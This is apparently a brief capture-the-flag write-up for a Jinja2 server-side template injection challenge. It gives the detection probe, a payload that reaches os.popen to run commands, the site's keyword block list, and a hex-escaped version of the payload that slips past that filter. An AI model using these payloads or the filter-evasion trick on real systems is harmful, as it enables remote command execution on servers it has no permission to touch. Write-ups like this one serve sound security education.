*more details in full writeup*

SSTI exploitation on jinja2. Found the vulnerability by inputting `{{ 2*2 }}`.

Target payload: `{{request.application.__globals__.__builtins__.__import__('os')['popen']('ls')['read']()}}`

But there is a WAF:
> Sorry, the following keywords/characters are not allowed :- _ ,config ,os, RUNCMD, base

So I encode characters to get this final payload:
```
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['read']()}}
```

Original writeup (https://github.com/apoirrier/CTFs-writeups/blob/master/CSAWQual2021/web/ninja.md).